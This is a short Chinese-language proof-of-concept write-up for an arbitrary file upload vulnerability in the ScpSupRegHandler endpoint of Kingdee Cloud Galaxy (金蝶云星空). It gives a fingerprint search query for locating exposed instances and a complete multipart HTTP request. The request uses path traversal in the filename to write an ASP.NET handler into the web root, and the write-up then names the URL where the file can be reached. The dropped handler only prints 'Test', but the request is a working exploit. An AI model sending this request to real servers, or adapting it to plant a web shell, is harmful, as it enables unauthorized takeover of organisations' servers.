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金蝶OA 云星空 ScpSupRegHandler 任意文件上传漏洞

漏洞描述

金蝶OA 云星空 ScpSupRegHandler 接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件获取服务器权限

漏洞影响

金蝶OA 云星空

网络测绘

app="金蝶云星空-管理中心"

漏洞复现

登陆页面

image-20231116140635693

poc

POST /k3cloud/SRM/ScpSupRegHandler HTTP/1.1
Host: 
Accept-Encoding: identity
Content-Length: 973
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=2ac719f8e29343df94aa4ab49e456061

--2ac719f8e29343df94aa4ab49e456061
Content-Disposition: form-data; name="dbId_v"

.
--2ac719f8e29343df94aa4ab49e456061
Content-Disposition: form-data; name="FID"

2022
--2ac719f8e29343df94aa4ab49e456061
Content-Disposition: form-data; name="FAtt"; filename="../../../../uploadfiles/test.ashx."
Content-Type: text/plain

<%@ WebHandler Language="C#" Class="TestHandler" %>
        using System;
        using System.Web;
        public class TestHandler : IHttpHandler {
            public void
            ProcessRequest (HttpContext context) {
                context.Response.ContentType= "text/plain";
                context.Response.Write("Test");
            }
            public bool IsReusable {
                get {return false; }
            }
        }
--2ac719f8e29343df94aa4ab49e456061--

image-20231116140545666

/K3Cloud/uploadfiles/Test.ashx